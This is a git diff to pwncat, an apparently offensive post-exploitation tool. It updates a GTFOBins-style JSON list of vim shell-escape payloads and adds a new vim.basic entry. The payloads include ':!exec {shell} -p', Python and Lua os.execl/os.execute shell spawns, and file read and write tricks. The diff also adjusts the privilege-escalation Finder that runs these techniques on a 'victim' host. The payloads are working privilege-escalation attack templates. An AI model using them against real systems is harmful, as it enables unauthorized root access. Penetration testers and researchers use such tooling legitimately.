diff --git a/data/gtfobins.json b/data/gtfobins.json index d3a6198..48deb13 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -879,19 +879,19 @@ { "type": "shell", "payload": "{command}", - "args": ["-c", "':!{shell}'", "-c", "'quit'"], + "args": ["-c", "':!exec {shell} -p'", "-c", "':q'"], // Include an extra newline to be sure to exit vim itself. - "exit": "exit\n\n" + "exit": "exit\n\n" }, { "type": "shell", "payload": "{command}", - "args": ["-c", "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-c\", \"reset; exec {shell}\")'", "-c", "'quit'"] + "args": ["-c", "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"] }, { "type": "shell", "payload": "{command}", - "args": ["-c", "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-c\", \"reset; exec {shell}\")'", "-c", "'quit'"] + "args": ["-c", "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"] }, { "type": "shell", @@ -907,10 +907,47 @@ { "type": "write", "stream": "print", - "payload": "{command} >/dev/null", - "args": ["-es" ,"'+%print'" ,"'+:w! {lfile}'", "'+:q!'", "/dev/stdin"] + "payload": "{cat} - | {command}", + "args": ["-es" ,"'+%print'" ,"'+:w! {lfile}'", "'+:q!'", "/dev/stdin"], + "exit": "{ctrl_d}" + } + ], + "vim.basic": [ + { + "type": "shell", + "payload": "{command}", + "args": ["-c", "':!exec {shell} -p'", "-c", "':q'"], + // Include an extra newline to be sure to exit vim itself. + "exit": "exit\n\n" + }, + { + "type": "shell", + "payload": "{command}", + "args": ["-c", "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"] + }, + { + "type": "shell", + "payload": "{command}", + "args": ["-c", "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"] + }, + { + "type": "shell", + "payload": "{command}", + "args": ["-c", "':lua os.execute(\"reset; exec {shell}\")'", "-c", "'quit'"] + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": ["-es" ,"'+%print'" ,"'+:q!'", "{lfile}"] + }, + { + "type": "write", + "stream": "print", + "payload": "{cat} - | {command}", + "args": ["-es" ,"'+%print'" ,"'+:w! {lfile}'", "'+:q!'", "/dev/stdin"], + "exit": "{ctrl_d}" } -// Vim can PROBABLY file write... but I have not figured that out just yet. ], //------------------------------------------------------------------- "wish": [ diff --git a/pwncat/__main__.py b/pwncat/__main__.py index 3fdde6e..0ea3b34 100644 --- a/pwncat/__main__.py +++ b/pwncat/__main__.py @@ -9,10 +9,6 @@ from sqlalchemy.exc import InvalidRequestError import warnings from sqlalchemy import exc as sa_exc -# Ignore SQL Alchemy warnings -with warnings.catch_warnings(): - warnings.simplefilter("ignore", category=sa_exc.SAWarning) - import pwncat from pwncat import util from pwncat.remote import Victim @@ -80,5 +76,11 @@ def main(): if __name__ == "__main__": - main() + + # Ignore SQL Alchemy warnings + with warnings.catch_warnings(): + warnings.simplefilter("ignore", category=sa_exc.SAWarning) + + main() + sys.exit(0) diff --git a/pwncat/commands/__init__.py b/pwncat/commands/__init__.py index ca17a0d..e962a87 100644 --- a/pwncat/commands/__init__.py +++ b/pwncat/commands/__init__.py @@ -238,7 +238,7 @@ class CommandParser: # We have a connection! Go back to raw mode pwncat.victim.state = State.RAW self.running = False - except Exception as exc: + except (Exception, KeyboardInterrupt) as exc: traceback.print_exc() continue @@ -299,7 +299,7 @@ class CommandParser: command.parser.prog = prog_name except SystemExit: - # The arguments were icncorrect + # The arguments were incorrect return diff --git a/pwncat/gtfobins.py b/pwncat/gtfobins.py index 51e540c..e183ba2 100644 --- a/pwncat/gtfobins.py +++ b/pwncat/gtfobins.py @@ -265,7 +265,7 @@ class MethodWrapper: return self.method.build_payload(self.binary_path, **kwargs) def exit(self, **kwargs) -> str: - return self.method.binary.gtfo.resolve_binaries( + original = self.method.binary.gtfo.resolve_binaries( self.method.exit, ctrl_c=ControlCodes.CTRL_C, ctrl_z=ControlCodes.CTRL_Z, @@ -275,6 +275,11 @@ class MethodWrapper: **kwargs, ) + if original == "" and Capability.SHELL in self.cap: + original = "exit\n" + + return original + def input(self, **kwargs) -> str: return self.method.binary.gtfo.resolve_binaries( self.method.input, diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index 5ff5ed9..c21e46a 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -277,12 +277,14 @@ class Finder: for technique in techniques: if Capability.SHELL in technique.capabilities: try: + # Attempt our basic, known technique + shlvl = pwncat.victim.getenv("SHLVL") exit_script = technique.method.execute(technique) pwncat.victim.flush_output(some=True) # Reset the terminal to ensure we are stable - time.sleep(0.1) + time.sleep(0.1) # This seems inevitable for some privescs... pwncat.victim.reset() # Check that we actually succeeded @@ -300,7 +302,9 @@ class Finder: # Get out of this subshell. We don't need it # pwncat.victim.process(exit_script, delim=False) + pwncat.victim.run(exit_script, wait=False) + time.sleep(0.1) # Still inevitable for some privescs... pwncat.victim.recvuntil("\n") # Clean up whatever mess was left over @@ -312,6 +316,8 @@ class Finder: # Continue on as if it hadn't worked. except PrivescError: pass + except ValueError: + raise PrivescError if Capability.READ in technique.capabilities: readers.append(technique) if Capability.WRITE in technique.capabilities: